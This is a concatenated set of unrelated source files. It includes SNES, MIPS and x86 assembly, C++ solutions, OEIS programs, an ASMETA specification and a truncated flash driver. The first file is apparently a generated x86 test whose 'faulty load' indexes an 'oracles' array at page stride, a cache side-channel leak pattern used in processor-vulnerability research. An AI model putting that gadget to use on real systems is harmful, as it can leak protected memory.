clflush (%rdi)
nop
nop
nop
nop
nop
add $4320, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, (%rdi)
add %rdx, %rdx
lea addresses_WT_ht+0x1b393, %rcx
nop
nop
nop
inc %r14
mov $0x6162636465666768, %rdx
movq %rdx, %xmm1
vmovups %ymm1, (%rcx)
nop
inc %rsi
lea addresses_WT_ht+0x4dff, %rsi
lea addresses_D_ht+0x6b9f, %rdi
nop
nop
nop
nop
cmp $13263, %r15
mov $58, %rcx
rep movsb
nop
nop
cmp $4625, %r11
lea addresses_WC_ht+0x18ef3, %rsi
nop
nop
nop
add $64706, %r14
movw $0x6162, (%rsi)
nop
nop
xor $21423, %r14
lea addresses_A_ht+0x28d3, %r15
nop
nop
nop
nop
nop
cmp %r14, %r14
and $0xffffffffffffffc0, %r15
movntdqa (%r15), %xmm2
vpextrq $0, %xmm2, %rdx
cmp $64659, %r11
lea addresses_UC_ht+0x1aa7f, %r8
nop
nop
nop
nop
nop
cmp $59098, %r14
movw $0x6162, (%r8)
nop
nop
nop
cmp %rdi, %rdi
lea addresses_normal_ht+0x6193, %r8
nop
nop
nop
and %rdi, %rdi
movw $0x6162, (%r8)
nop
nop
nop
nop
nop
add $1374, %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r15
push %r8
push %rbp
push %rcx
// Store
lea addresses_D+0x1ea1f, %r11
clflush (%r11)
nop
nop
nop
add $12165, %rcx
mov $0x5152535455565758, %r13
movq %r13, (%r11)
nop
nop
nop
nop
xor $60, %rbp
// Faulty Load
lea addresses_UC+0x96d3, %r11
nop
nop
and $63465, %r15
mov (%r11), %r13d
lea oracles, %r8
and $0xff, %r13
shlq $12, %r13
mov (%r8,%r13,1), %r13
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': True, 'type': 'addresses_UC', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_D', 'size': 8, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_UC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': True, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': True}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': True}}
{'src': {'same': False, 'congruent': 11, 'NT': True, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 9, 'NT': True, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': True, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
|
/* ==========================================================================
Author : Johan Rosengren, Abstrakt Mekanik AB
Date : 2004-04-29
Purpose : "CLinkFactory" is a simple class with one single static
function, returning and updating a single static int
value to use as a unique id for drawing objects.
Description : See below
Usage : Call "CLinkFactory::GetID" to get a unique id during this
session.
========================================================================*/
#include "stdafx.h"
#include "LinkFactory.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
CString CLinkFactory::GetID()
/* ============================================================
Function : CLinkFactory::GetID
Description : Returns a unique int every time it is
called.
Access : Public
Return : CString - "CString" with the unique id.
Parameters : none
Usage : Call to get a unique id. Used to get unique
ids for the object name attributes.
============================================================*/
{
CString str;
str.Format(_T("%i"), CLinkFactory::s_currentID);
CLinkFactory::s_currentID++;
return str;
}
int CLinkFactory::s_currentID = 0;
|
.data
end: .word 0xffff0010
end1: .word 0xffff0011
chr: .word 0x3f, 0x06, 0x5b, 0x4f, 0x66, 0x6d, 0x7d, 0x07, 0x7f, 0x67, 0x77, 0x7c, 0x39, 0x5e, 0x79, 0x71
.text
main:
la $s0,end
lw $s0,0($s0)
la $s4,end1
lw $s4,0($s4)
li $s1,16
reset:
li $t1,0
la $s2,chr
lw $s3,0($s2)
la $t3,chr
lw $s5,0($t3)
loop:
beq $t1,$s1,reset
sb $s3,0($s0)
sb $s5,0($s4)
addi $t1,$t1,1
addi $s2,$s2,4
addi $t3,$t3,4
lw $s3,0($s2)
lw $s5,0($t3)
j loop
loop1:
|
LKS_printfs:
lda #$20
clc
adc LKS_PRINTPL
sta MEM_TEMP
lda $0000,y
-:
cmp #$20
beq +
sec
sbc #64
sta LKS_BUF_BG3+0,x
lda MEM_TEMP
sta LKS_BUF_BG3+1,x
bra ++
+:
lda #0
sta LKS_BUF_BG3+0,x
sta LKS_BUF_BG3+1,x
++:
inx
inx
iny
lda $0000,y
cmp #0
bne -
rtl
LKS_printh16_draw:
rep #$20
tya
sta MEM_TEMP
lsr a
lsr a
lsr a
lsr a
sta MEM_TEMP+1
lsr a
lsr a
lsr a
lsr a
sta MEM_TEMP+2
lsr a
lsr a
lsr a
lsr a
sta MEM_TEMP+3
ldx MEM_TEMPFUNC
;clean
lda #0
sta LKS_BUF_BG3+0,x
sta LKS_BUF_BG3+2,x
sta LKS_BUF_BG3+4,x
sta LKS_BUF_BG3+6,x
sep #$20
lda #$20
clc
adc LKS_PRINTPL
sta MEM_TEMP+6
lda MEM_TEMP+3
jsl LKS_printhexa
lda MEM_TEMP+2
jsl LKS_printhexa
lda MEM_TEMP+1
jsl LKS_printhexa
lda MEM_TEMP
jsl LKS_printhexa
rtl
LKS_printh8_draw:
sta MEM_TEMP
lsr a
lsr a
lsr a
lsr a
sta MEM_TEMP+1
ldx MEM_TEMPFUNC
;clean
rep #$20
lda #0
sta LKS_BUF_BG3+0,x
sta LKS_BUF_BG3+2,x
sep #$20
lda #$20
clc
adc LKS_PRINTPL
sta MEM_TEMP+6
lda MEM_TEMP+1
jsl LKS_printhexa
lda MEM_TEMP
jsl LKS_printhexa
rtl
LKS_printhexa:
and #$F
cmp #$A
bmi +
clc
adc #$7
+:
clc
adc #$10
sta LKS_BUF_BG3+0,x
lda MEM_TEMP+6
sta LKS_BUF_BG3+1,x
inx
inx
rtl
LKS_printf16_draw:
rep #$20
tya
stz MEM_TEMP + 6
cmp #0
bpl +
; si A est positif tout il est bon
; sinon, on inverse son signe
; [todo] garder le signe pour plus tard
dea
eor #$ffff
pha
lda #1
sta MEM_TEMP + 6
pla
+:
compute_digit_for_base16 10000
stx MEM_TEMP
compute_digit_for_base16 1000
stx MEM_TEMP + 1
compute_digit_for_base16 100
stx MEM_TEMP + 2
compute_digit_for_base16 10
stx MEM_TEMP + 3
sta MEM_TEMP + 4
ldx MEM_TEMPFUNC
;clean
lda #0
sta LKS_BUF_BG3+0,x
sta LKS_BUF_BG3+2,x
sta LKS_BUF_BG3+4,x
sta LKS_BUF_BG3+6,x
sta LKS_BUF_BG3+8,x
sta LKS_BUF_BG3+10,x
sep #$20
lda MEM_TEMP + 6
cmp #0
beq +
;SNES_VMDATA $200D ;signe -
rep #$20
lda #$200D
sta LKS_BUF_BG3+0,x
inx
inx
sep #$20
+:
lda #$20
clc
adc LKS_PRINTPL
sta MEM_TEMP+6
clc
lda MEM_TEMP
adc #$10
sta LKS_BUF_BG3+0,x
lda MEM_TEMP+6
sta LKS_BUF_BG3+1,x
lda MEM_TEMP + 1
adc #$10
sta LKS_BUF_BG3+2,x
lda MEM_TEMP+6
sta LKS_BUF_BG3+3,x
lda MEM_TEMP + 2
adc #$10
sta LKS_BUF_BG3+4,x
lda MEM_TEMP+6
sta LKS_BUF_BG3+5,x
lda MEM_TEMP + 3
adc #$10
sta LKS_BUF_BG3+6,x
lda MEM_TEMP+6
sta LKS_BUF_BG3+7,x
lda MEM_TEMP + 4
adc #$10
sta LKS_BUF_BG3+8,x
lda MEM_TEMP+6
sta LKS_BUF_BG3+9,x
rtl
LKS_printfu16_draw:
rep #$20
tya
stz MEM_TEMP + 6
cmp #0
bpl +
;dea
;eor #$ffff
;adc #28
pha
lda #1
sta MEM_TEMP + 6
pla
+:
compute_digit_for_base16 10000
stx MEM_TEMP
compute_digit_for_base16 1000
stx MEM_TEMP + 1
compute_digit_for_base16 100
stx MEM_TEMP + 2
compute_digit_for_base16 10
stx MEM_TEMP + 3
sta MEM_TEMP + 4
ldx MEM_TEMPFUNC
;clean
lda #0
sta LKS_BUF_BG3+0,x
sta LKS_BUF_BG3+2,x
sta LKS_BUF_BG3+4,x
sta LKS_BUF_BG3+6,x
sta LKS_BUF_BG3+8,x
sta LKS_BUF_BG3+10,x
sep #$20
lda #$20
clc
adc LKS_PRINTPL
sta MEM_TEMP+6
clc
lda MEM_TEMP
adc #$10
sta LKS_BUF_BG3+0,x
lda MEM_TEMP+6
sta LKS_BUF_BG3+1,x
lda MEM_TEMP + 1
adc #$10
sta LKS_BUF_BG3+2,x
lda MEM_TEMP+6
sta LKS_BUF_BG3+3,x
lda MEM_TEMP + 2
adc #$10
sta LKS_BUF_BG3+4,x
lda MEM_TEMP+6
sta LKS_BUF_BG3+5,x
lda MEM_TEMP + 3
adc #$10
sta LKS_BUF_BG3+6,x
lda MEM_TEMP+6
sta LKS_BUF_BG3+7,x
lda MEM_TEMP + 4
adc #$10
sta LKS_BUF_BG3+8,x
lda MEM_TEMP+6
sta LKS_BUF_BG3+9,x
rtl
LKS_printf8_draw:
ldx MEM_TEMPFUNC
pha
lda #0
sta LKS_BUF_BG3+0,x
sta LKS_BUF_BG3+1,x
sta LKS_BUF_BG3+2,x
sta LKS_BUF_BG3+3,x
sta LKS_BUF_BG3+5,x
sta LKS_BUF_BG3+6,x
pla
stz MEM_TEMP + 6
cmp #0
bpl +
dea
eor #$ff
sta MEM_TEMP + 3
lda #128
sec
sbc MEM_TEMP + 3
clc
adc #28
pha
ldx #1
stx MEM_TEMP + 6
pla
+:
compute_digit_for_base8 100
stx MEM_TEMP + 0
compute_digit_for_base8 10
stx MEM_TEMP + 1
sta MEM_TEMP + 2
ldx MEM_TEMPFUNC
lda MEM_TEMP + 6
cmp #0
beq +
inc MEM_TEMP + 0
+:
lda #$20
clc
adc LKS_PRINTPL
sta MEM_TEMP+4
lda MEM_TEMP + 0
cmp #0
beq +
clc
adc #$10
sta LKS_BUF_BG3+0,x
lda MEM_TEMP+4
sta LKS_BUF_BG3+1,x
inx
inx
lda MEM_TEMP + 1
clc
adc #$10
sta LKS_BUF_BG3+0,x
lda MEM_TEMP+4
sta LKS_BUF_BG3+1,x
lda MEM_TEMP + 2
clc
adc #$10
sta LKS_BUF_BG3+2,x
lda MEM_TEMP+4
sta LKS_BUF_BG3+3,x
rtl
+:
lda MEM_TEMP + 1
cmp #0
beq +
clc
adc #$10
sta LKS_BUF_BG3+0,x
lda MEM_TEMP+4
sta LKS_BUF_BG3+1,x
lda MEM_TEMP + 2
clc
adc #$10
sta LKS_BUF_BG3+2,x
lda MEM_TEMP+4
sta LKS_BUF_BG3+3,x
rtl
+:
lda MEM_TEMP + 2
clc
adc #$10
sta LKS_BUF_BG3+2,x
lda MEM_TEMP+4
sta LKS_BUF_BG3+3,x
rtl
|
; A310372: Coordination sequence Gal.4.52.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; Submitted by Jon Maiga
; 1,4,10,14,18,22,28,32,36,42,46,50,54,60,64,68,74,78,82,86,92,96,100,106,110,114,118,124,128,132,138,142,146,150,156,160,164,170,174,178,182,188,192,196,202,206,210,214,220,224
mov $1,1
mov $2,$0
mul $2,4
lpb $0
mov $0,$2
div $0,7
mov $1,$0
lpe
mod $0,2
add $1,$2
add $0,$1
|
#include <bits/stdc++.h>
using namespace std;
int T, n, cnt[26], tot;
string s;
bool judge() {
tot = 0;
for(int i = 0; i < 26; ++i)
tot += !!cnt[i];
if(tot == 1 || tot > 3)
return true;
int i = 0;
while(!cnt[i]) i++;
if(tot == 2 && cnt[i + 1])
return false;
if(tot == 3 && cnt[i + 1] && cnt[i + 2])
return false;
return true;
}
void print() {
int i = 0, j, k, l;
if(tot == 1) {
while(!cnt[i]) i++;
while(cnt[i]--)
cout << (char)('a' + i);
cout << endl;
return;
}
while(!cnt[i]) i++;
if(tot == 2) {
j = i + 1;
while(!cnt[j]) j++;
while(cnt[i]--) cout << (char)('a' + i);
while(cnt[j]--) cout << (char)('a' + j);
cout << endl;
return;
}
if(tot == 3) {
j = i + 1;
while(!cnt[j]) j++;
k = j + 1;
while(!cnt[k]) k++;
if(i + 1 == j) {
while(cnt[j]--) cout << (char)('a' + j);
while(cnt[k]--) cout << (char)('a' + k);
while(cnt[i]--) cout << (char)('a' + i);
}
else if(j + 1 == k) {
while(cnt[j]--) cout << (char)('a' + j);
while(cnt[i]--) cout << (char)('a' + i);
while(cnt[k]--) cout << (char)('a' + k);
}
else {
while(cnt[i]--) cout << (char)('a' + i);
while(cnt[j]--) cout << (char)('a' + j);
while(cnt[k]--) cout << (char)('a' + k);
}
cout << endl;
return;
}
j = i + 1;
while(!cnt[j]) j++;
k = j + 1;
while(!cnt[k]) k++;
l = k + 1;
while(!cnt[l]) l++;
string ans = "";
while(cnt[k]--) ans += 'a' + k;
while(cnt[i]--) ans += 'a' + i;
while(cnt[l]--) ans += 'a' + l;
while(cnt[j]--) ans += 'a' + j;
for(int _ = 4; _ < tot; ++_) {
l++;
while(!cnt[l]) l++;
if(_ % 2 == 0) {
while(cnt[l]--) ans = (char)('a' + l) + ans;
}
else
while(cnt[l]--) ans += (char)('a' + l);
}
cout << ans << endl;
}
int main() {
cin >> T;
while(T--) {
cin >> s;
n = s.size();
memset(cnt, 0, sizeof(cnt));
for(int i = 0; i < n; ++i) {
cnt[s[i] - 'a']++;
}
if(!judge())
cout << "No answer" << endl;
else
print();
}
return 0;
} |
; A257847: a(n) = floor(n/7) * (n mod 7).
; 0,0,0,0,0,0,0,0,1,2,3,4,5,6,0,2,4,6,8,10,12,0,3,6,9,12,15,18,0,4,8,12,16,20,24,0,5,10,15,20,25,30,0,6,12,18,24,30,36,0,7,14,21,28,35,42,0,8,16,24,32,40,48,0,9,18,27,36,45,54,0,10,20,30,40,50,60,0,11,22,33,44,55,66,0,12,24,36,48,60,72,0,13,26,39,52,65,78,0,14,28,42,56,70,84,0,15,30,45,60,75,90,0,16,32,48,64,80,96,0,17,34,51,68,85,102,0,18,36,54,72,90,108,0,19,38,57,76,95,114,0,20,40,60,80,100,120,0,21,42,63,84,105,126,0,22,44,66,88,110,132,0,23,46,69,92,115,138,0,24,48,72,96,120,144,0,25,50,75,100,125,150,0,26,52,78,104,130,156,0,27,54,81,108,135,162,0,28,56,84,112,140,168,0,29,58,87,116,145,174,0,30,60,90,120,150,180,0,31,62,93,124,155,186,0,32,64,96,128,160,192,0,33,66,99,132,165,198,0,34,68,102,136,170,204,0,35,70,105,140
mov $1,$0
mod $1,7
sub $0,$1
mul $1,$0
div $1,7
|
org 0x7C00
use16
cli
mov al, '*'
mov ah, 7
mov dx ,0xb800
mov ds, dx
mov [0], ax
Done:
hlt
jmp Done
times 510-($-$$) db 90h
dw 0AA55h
;times 1509949-($-$$) db 0 |
#include <iostream>
#include <map>
#include <utility>
using namespace std;
typedef unsigned long long ull;
map<ull,ull> costs;
ull discreteLog2(ull x)
{
ull r = 0;
while (x)
{
r++;
x >>= 1;
}
return r-1;
}
ull largestCommonAncestor(ull a, ull b)
{
ull da = discreteLog2(a);
ull db = discreteLog2(b);
if (da > db) a >>= (da - db);
else if (db > da) b >>= (db - da);
while (a != b) a >>= 1, b >>= 1;
return a;
}
void addCosts(ull a, ull b, ull x)
{
ull l = largestCommonAncestor(a, b);
while (a != l)
{
costs[a] += x;
a >>= 1;
}
while (b != l)
{
costs[b] += x;
b >>= 1;
}
}
ull getCost(ull a, ull b)
{
ull c = 0;
ull l = largestCommonAncestor(a, b);
while (a != l)
{
auto it = costs.find(a);
if (it != costs.end()) c += it->second;
a >>= 1;
}
while (b != l)
{
auto it = costs.find(b);
if (it != costs.end()) c += it->second;
b >>= 1;
}
return c;
}
int main()
{
long q;
cin >> q;
while (q--)
{
ull k, a, b;
cin >> k >> a >> b;
if (k == 1)
{
ull x;
cin >> x;
addCosts(a, b, x);
}
else
{
cout << getCost(a, b) << endl;
}
}
}
|
@main
0;JMP
(C4) 4.0
(PI) 3.14159
(main)
@PI
D=A
@16 // get F(PI)
swi
@18 // putf F
swi
@PI
D=A
@19 // fadd F , PI
swi
@18 // putf F
swi
@C4
D=A
@21 // fmul F, 2
swi
@18 // putf F
swi
|
/*The tree node has data, left child and right child
struct node
{
int data;
node* left;
node* right;
};
*/
int height(node * root)
{
if(root == NULL) return 0;
return max(height(root->left), height(root->right)) + 1;
}
|
//Ground model of Adaptive Exterior Light and Speed Control System
//Direction Blinking
//Hazard warning light
//from ELS-1 to ELS-13
module CarSystem001Functions
import ../../StandardLibrary
import CarSystem001Domains
export *
signature:
// DOMAINS
// FUNCTIONS
//Parameters setted initially
static marketCode: MarketCode //Market code
monitored pitmanArmUpDown: PitmanArmUpDown // Position of the pitman arm - vertical position
controlled pitmanArmUpDown_Buff: PitmanArmUpDown // Save the last position of the pitman arm if something is in execution
controlled pitmanArmUpDown_RunnReq: PitmanArmUpDown // Save the action running based on pitmanArmUpDown request
monitored keyState: KeyPosition // Position of the key
controlled tailLampLeftBlinkValue: LightPercentage // Tail lamp left is off (0%) or is on with a specific percentage of brightness
controlled tailLampRightBlinkValue: LightPercentage // Tail lamp right is off (0%) or is on with a specific percentage of brightness
derived turnLeft: PitmanArmUpDown -> Boolean //True if pitmanArmUpDown_RunnReq is in position turn left (DOWNWARD5 or DOWNWARD5_LONG or DOWNWARD7)
derived turnRight: PitmanArmUpDown -> Boolean //True if pitmanArmUpDown_Buff is in position turn right (UPWARD5 or UPWARD5_LONG or UPWARD7)
definitions:
// FUNCTION DEFINITIONS
function marketCode = EU
//True if pitman is in position turn left (DOWNWARD5 or DOWNWARD5_LONG or DOWNWARD7)
function turnLeft ($position in PitmanArmUpDown) =
($position = DOWNWARD5 or $position = DOWNWARD5_LONG or $position = DOWNWARD7)
//True if pitman is in position turn right (UPWARD5 or UPWARD5_LONG or UPWARD7)
function turnRight ($position in PitmanArmUpDown) =
($position = UPWARD5 or $position = UPWARD5_LONG or $position = UPWARD7) |
#include "external_flash_command.h"
#include <drivers/cache.h>
#include <drivers/config/clocks.h>
#include <drivers/config/external_flash.h>
#include <ion/timing.h>
namespace Ion {
namespace Device {
namespace ExternalFlash {
using namespace Regs;
/* The external flash and the Quad-SPI peripheral support several operating
* modes, corresponding to different numbers of signals used to communicate
* during each phase of the command sequence.
*
* Mode name for | Number of signals used during each phase:
* external flash | Instruction | Address | Alt. bytes | Data
* ----------------+-------------+---------+------------+------
* Standard SPI | 1 | 1 | 1 | 1
* Dual-Output SPI | 1 | 1 | 1 | 2
* Dual-I/O SPI | 1 | 2 | 2 | 2
* Quad-Output SPI | 1 | 1 | 1 | 4
* Quad-I/O SPI | 1 | 4 | 4 | 4
* QPI | 4 | 4 | 4 | 4
*
* The external flash supports clock frequencies up to 104MHz for all
* instructions, except for Read Data (0x03) which is supported up to 50Mhz.
*
*
* Quad-SPI block diagram
*
* +----------------------+ +------------+
* | Quad-SPI | | |
* | peripheral | | External |
* | | read | flash |
* AHB <-- | data <-- 32-byte | <-- | memory |
* matrix --> | register --> FIFO | --> | |
* +----------------------+ write +------------+
*
* Any data transmitted to or from the external flash memory go through a
* 32-byte FIFO.
*
* Read or write operations are performed in burst mode, that is, after any data
* byte is transmitted between the Quad-SPI and the flash memory, the latter
* automatically increments the specified address and the next byte to read or
* write is respectively pushed in or popped from the FIFO.
* And so on, as long as the clock continues.
*
* If the FIFO gets full in a read operation or
* if the FIFO gets empty in a write operation,
* the operation stalls and CLK stays low until firmware services the FIFO.
*
* If the FIFO gets full in a write operation, the operation is stalled until
* the FIFO has enough space to accept the amount of data being written.
* If the FIFO does not have as many bytes as requested by the read operation
* and if BUSY=1, the operation is stalled until enough data is present or until
* the transfer is complete, whichever happens first. */
static void send_command_full(
QUADSPI::CCR::FunctionalMode functionalMode,
OperatingModes operatingModes,
Command c,
uint8_t * address,
uint32_t altBytes,
size_t numberOfAltBytes,
uint8_t dummyCycles,
uint8_t * data,
size_t dataLength);
void send_command(Command c, OperatingModes operatingModes) {
send_command_full(
QUADSPI::CCR::FunctionalMode::IndirectWrite,
operatingModes,
c,
reinterpret_cast<uint8_t *>(FlashAddressSpaceSize),
0, 0,
0,
nullptr, 0);
}
void send_reset_commands(OperatingModes operatingModes) {
send_command(Command::EnableReset, operatingModes);
send_command(Command::Reset, operatingModes);
Timing::usleep(30);
}
void send_write_command(Command c, uint8_t * address, const uint8_t * data, size_t dataLength, OperatingModes operatingModes) {
send_command_full(
QUADSPI::CCR::FunctionalMode::IndirectWrite,
operatingModes,
c,
address,
0, 0,
0,
const_cast<uint8_t *>(data), dataLength);
}
void send_read_command(Command c, uint8_t * address, uint8_t * data, size_t dataLength) {
send_command_full(
QUADSPI::CCR::FunctionalMode::IndirectRead,
sOperatingModes101,
c,
address,
0, 0,
0,
data, dataLength);
}
void wait() {
/* The DSB instruction guarantees the completion of a write operation before
* polling the status register. */
Cache::dsb();
ExternalFlashStatusRegister::StatusRegister1 statusRegister1(0);
do {
send_read_command(Command::ReadStatusRegister1, reinterpret_cast<uint8_t *>(FlashAddressSpaceSize), reinterpret_cast<uint8_t *>(&statusRegister1), sizeof(statusRegister1));
} while (statusRegister1.getBUSY());
}
void set_as_memory_mapped() {
/* In memory-mapped mode, all AHB masters may access the external flash memory as an internal one:
* the programmed instruction is sent automatically whenever an AHB master reads in the Quad-SPI flash bank area.
* (The QUADSPI_DLR register has no meaning and any access to QUADSPI_DR returns zero.)
*
* To anticipate sequential reads, the nCS signal is maintained low so as to
* keep the read operation active and prefetch the subsequent bytes in the FIFO.
*
* It goes low, only if the low-power timeout counter is enabled.
* (Flash memories tend to consume more when nCS is held low.) */
send_command_full(
QUADSPI::CCR::FunctionalMode::MemoryMapped,
sOperatingModes144,
Command::FastReadQuadIO,
reinterpret_cast<uint8_t *>(FlashAddressSpaceSize),
0xA0, 1,
FastReadQuadIODummyCycles,
nullptr, 0
);
}
void unset_memory_mapped_mode() {
/* Reset Continuous Read Mode Bits before issuing normal instructions. */
uint8_t dummyData;
send_command_full(
QUADSPI::CCR::FunctionalMode::IndirectRead,
sOperatingModes144,
Command::FastReadQuadIO,
0,
~(0xA0), 1,
FastReadQuadIODummyCycles,
&dummyData, 1
);
}
static void send_command_full(QUADSPI::CCR::FunctionalMode functionalMode, OperatingModes operatingModes, Command c, uint8_t * address, uint32_t altBytes, size_t numberOfAltBytes, uint8_t dummyCycles, uint8_t * data, size_t dataLength) {
/* According to ST's Errata Sheet ES0360, "Wrong data can be read in
* memory-mapped after an indirect mode operation". This is the workaround. */
if (functionalMode == QUADSPI::CCR::FunctionalMode::MemoryMapped) {
QUADSPI::CCR::FunctionalMode previousMode = QUADSPI.CCR()->getFMODE();
if (previousMode == QUADSPI::CCR::FunctionalMode::IndirectWrite || previousMode == QUADSPI::CCR::FunctionalMode::IndirectRead) {
// Reset the address register
QUADSPI.AR()->set(0); // No write to DR should be done after this
if (previousMode == QUADSPI::CCR::FunctionalMode::IndirectRead) {
// Make an abort request to stop the reading and clear the busy bit
QUADSPI.CR()->setABORT(true);
while (QUADSPI.CR()->getABORT()) {
}
}
}
} else if (QUADSPI.CCR()->getFMODE() == QUADSPI::CCR::FunctionalMode::MemoryMapped) {
/* "BUSY goes high as soon as the first memory-mapped access occurs. Because
* of the prefetch operations, BUSY does not fall until there is a timeout,
* there is an abort, or the peripheral is disabled". (From the Reference
* Manual)
* If we are leaving memory-mapped mode, we send an abort to clear BUSY. */
QUADSPI.CR()->setABORT(true);
while (QUADSPI.CR()->getABORT()) {
}
}
assert(QUADSPI.CCR()->getFMODE() != QUADSPI::CCR::FunctionalMode::MemoryMapped || QUADSPI.SR()->getBUSY() == 0);
class QUADSPI::CCR ccr(0);
ccr.setFMODE(functionalMode);
